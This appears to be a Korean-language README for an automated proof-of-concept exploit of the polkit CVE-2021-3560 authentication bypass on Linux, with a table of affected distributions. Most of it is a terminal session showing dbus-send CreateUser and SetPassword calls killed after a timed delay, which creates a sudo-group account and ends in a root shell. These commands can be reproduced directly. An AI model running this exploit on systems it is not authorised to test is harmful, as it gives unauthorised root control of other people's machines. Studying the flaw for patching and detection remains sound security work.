
Polkit CVE-2021-3560 자동 익스플로잇 PoC
Polkit CVE-2021-3560 자동 익스플로잇 PoC
CVE-2021-3560은 polkit의 인증 우회 취약점으로, 권한이 없는 사용자가 DBus를 통해 권한 있는 메서드를 호출할 수 있게 해줍니다. 이 익스플로잇에서는 accountsservice에서 제공하는 두 가지 권한 있는 메서드(CreateUser 및 SetPassword)를 호출하여 권한 있는 사용자를 생성한 다음 비밀번호를 설정하고, 마지막으로 생성된 사용자로 로그인한 후 root로 권한 상승을 수행합니다. https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)
[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
polkit 버전 0.113 이상이 설치된 모든 시스템은 취약합니다. 여기에는 polkit 버전 0.115가 설치된 RHEL 8 및 polkit 버전 0-105-26(Debian 포크)이 설치된 Ubuntu 20.04와 같은 널리 사용되는 배포판이 포함됩니다.
MIT 라이선스
| 배포판 | 취약? |
|---|---|
| RHEL 7 | 아니오 |
| RHEL 8 | 예 |
| Fedora 20 (또는 이전) | 아니오 |
| Fedora 21 (또는 이후) | 예 |
| Debian 10 (“buster”) | 아니오 |
| Debian testing (“bullseye”) | 예 |
| Ubuntu 18.04 | 아니오 |
| Ubuntu 20.04 | 예 |